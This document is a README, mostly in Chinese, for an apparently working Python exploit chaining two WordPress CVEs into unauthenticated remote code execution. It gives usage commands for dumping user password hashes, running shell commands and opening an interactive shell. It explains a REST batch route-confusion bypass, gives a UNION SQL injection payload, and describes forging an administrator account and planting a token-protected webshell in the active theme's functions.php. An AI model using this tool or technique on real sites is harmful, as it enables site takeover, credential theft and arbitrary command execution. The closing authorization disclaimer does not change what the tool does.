一日WordPress RCE利用链。未经身份验证。CVSS 9.8。
零依赖 — 仅需Python 3.8+标准库。
| 分支 | 受影响版本 | 已修复版本 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
两个CVE串联成未经身份验证的远程代码执行:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL 目标WordPress基础URL(必填)
--check 仅探测 — 不进行利用
--dump-users 通过UNION SQLi提取所有用户凭据
--read SQL 从数据库读取标量SQL表达式
--cmd CMD 在目标上运行shell命令
--shell 打开交互式shell
--user USER 管理员用户名(跳过预认证管理员创建)
--password PASS 管理员密码(与--user一起使用)
--proxy URL HTTP代理(例如 http://127.0.0.1:8080)
--timeout SEC 请求超时(默认:30)
--no-cleanup 在目标上保留webshell和管理员用户
WordPress的批处理端点 /?rest_route=/batch/v1 接受一个子请求数组。当某个子请求拥有无法解析的路径(///)时,WP_Error 会被添加到 $validation 中,但不会添加到 $matches。随后,调度循环将请求 N 与处理器 N+1 配对——因此,一个针对某个模式已验证的请求会被分发到不同的处理器。
该利用发送一个3层嵌套的批处理,其中每一层在位置0使用一个不同步引子(desync primer)来偏移索引。最内层的请求——被验证为单个文章项(GET /wp/v2/posts/999999)——最终落到集合处理器(posts->get_items())上。由于单项模式未定义 author_exclude,该参数未经验证地通过。
get_items() 将 author_exclude 映射到 author__not_in,并将其传递给 WP_Query。当 author__not_in 为字符串(而非数组)时,array_map('absint', …) 块被跳过。原始字符串直接进入:
WHERE post_author NOT IN (<payload>)
攻击载荷 0) UNION ALL SELECT …-- - 关闭了 NOT IN 列表并附加了任意SQL。
WordPress 7.0.x 的 wp_posts 表恰好有23列。通过使用 UNION ALL SELECT 注入伪造的行,并设置 orderby=none(抑制末尾的 ORDER BY)以及 per_page=500(保持WP_Query处于全行模式),伪造的文章标题——携带 ||HEX|| 标记——会反映在REST响应中。所有字符串值使用MySQL十六进制字面量(0x…)以避免通过URL编码引起的引号转义问题。
[embed] 短代码的文章 → WordPress创建3个 oembed_cache 行wp_posts 行,形成定制器变更集链[embed] 短代码渲染,触发 WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>)和密码(Wp2!<random>)以新管理员身份登录 → 提取主题编辑器nonce → 将受令牌保护的PHP webshell注入到活动主题的 functions.php 顶部 → 通过 ?t=<token>&c=<command> 访问。
urllib、json、re、hashlib、secrets、html)wp_remote_post() 回环检查。如果容器无法通过主机名访问自身,则主题编辑将被阻止。这种情况下请使用 --dump-users + 手动登录。--check 进行测试。$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
此工具仅用于授权的安全研究和教育目的。仅对您拥有或已获得明确测试许可的系统使用。作者对滥用不承担任何责任。
| 步骤 | CVE | 攻击向量 |
|---|
| 1 | CVE-2026-63030 | REST /batch/v1 索引错位导致验证与分发不同步 |
| 2 | CVE-2026-60137 | author__not_in WP_Query参数在作为字符串传递时跳过absint() |
| 3 | — | UNION SELECT伪造wp_posts行;oEmbed → 定制器 → wp_insert_user |
| 4 | — | 作为新创建的管理员进行身份验证 |
| 5 | — | 主题编辑器将受令牌保护的webshell注入到活动主题中 |